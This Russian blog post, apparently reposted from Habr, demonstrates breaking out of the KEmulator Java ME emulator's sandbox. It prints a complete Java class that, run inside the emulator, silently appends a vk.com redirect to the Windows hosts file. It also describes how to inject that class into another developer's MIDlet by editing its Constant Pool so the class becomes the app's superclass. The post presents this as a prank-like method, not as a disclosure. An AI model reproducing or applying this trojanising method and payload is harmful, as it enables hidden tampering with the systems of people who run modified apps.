Небезопасная безопасная Java ME

от автора

Привет, %username%!
Безопасность — одна из ключевых фич Java.
На мобильном устройстве мы никак не сможем выполнить вредоносный код. И это все знают, а значит, без опасений запускают любые приложения и игры. В том числе и в эмуляторах.
Я продемонстрирую еще один из тысячи способов поиметь файл hosts в Windows — с помощью обыкновенного мидлета!

Kemulator — эмулятор мобильных игр и приложений

Cтатья посвящена данному эмулятору и моей извращенной фантазии.
Работает он просто: MIDP API переписано на Java SE и связано с ядром кемуля.
Загрузку классов обеспечивает свой Classloader.
Следовательно, использование Java SE классов в мидлете является возможным.

Для того чтобы внедрить свой код в чужое приложение на Java ME, достаточно написать класс наследуемый от javax.microedition.midlet.MIDlet и расширять его в главном(самый простой способ).

Приведу пример:

import java.io.File; import java.io.FileOutputStream; import javax.microedition.midlet.MIDlet;  public abstract class Inj extends MIDlet implements Runnable {  public Inj() { new Thread(this).start(); }  public void run() { try { Class.forName("emulator.Emulator"); File f = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts"); FileOutputStream fos = new FileOutputStream(f, true); fos.write("\n74.125.132.94 vk.com".getBytes()); fos.close(); } catch (Throwable ex) { } }  protected void destroyApp(boolean unconditional) { }  protected void pauseApp() { }  protected void startApp() { } } 

Это наш код, который будет работать только в эмуляторе, о чем говорит вызов класса Class.forName("emulator.Emulator"); внутри блока try… catch.
Kemulator дает доступ к файловой системе только в пределах папки «root», т.е. диска девайса, а с Java SE мы творим, что хотим.
Как его скомпилировать без лишней мороки? — Подключите rt.jar к проекту как API.
Дальше ясно, что следует изменить главный класс модифицируемой программы.
Для этого качаем любой редактор Constant Pool и меняем строку
javax/microedition/midlet/MIDlet
на
Inj
Преверефицируем и радуемся!
Хочется заметить, что телефоны на JP-7 выбросят ClassNotFoundException при запуске. Почему так — мне неизвестно. Спасибо!

ссылка на оригинал статьи http://habrahabr.ru/post/176755/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *